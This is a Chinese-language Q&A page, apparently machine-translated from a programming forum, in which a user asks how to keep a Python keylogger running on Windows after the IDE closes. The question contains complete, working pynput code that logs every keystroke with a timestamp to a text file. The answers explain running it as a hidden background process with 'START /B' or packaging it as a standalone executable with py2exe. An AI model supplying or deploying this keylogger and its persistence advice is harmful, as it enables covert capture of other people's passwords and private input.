如何始终收听键盘记录器?

问题描述 投票:0回答:3

我怎么总是听?当Pycharm关闭时,脚本关闭。我使用Windows

from pynput.keyboard import Key, Listener
import logging

log_dir=""
logging.basicConfig(filename=(log_dir + "key_log.txt"), level=logging.DEBUG, format='%(asctime)s: %(message)s')

def on_press(key):
    logging.info(str(key))

with Listener(on_press=on_press) as listener:
    listener.join()
python python-3.x windows keylogger
3个回答
1
投票

[我建议使用py2exe之类的工具从脚本中构建独立的Windows可执行文件,因为要求python解释器运行键盘记录程序会为其添加繁琐的依赖关系。

或者您可以调用python解释器并从Windows命令行CMD作为后台进程运行它:

START /B python <your_python_file>.py

0
投票

您需要运行文件并保持打开状态。最简单的方法是从命令行(注意:您需要使用python文件将CD转到目录):

python <nameOfYourFile>.py

点击返回,请不要关闭命令行。


-1
投票

您只需输入

python <file_name>.py &
© www.soinside.com 2019 - 2024. All rights reserved.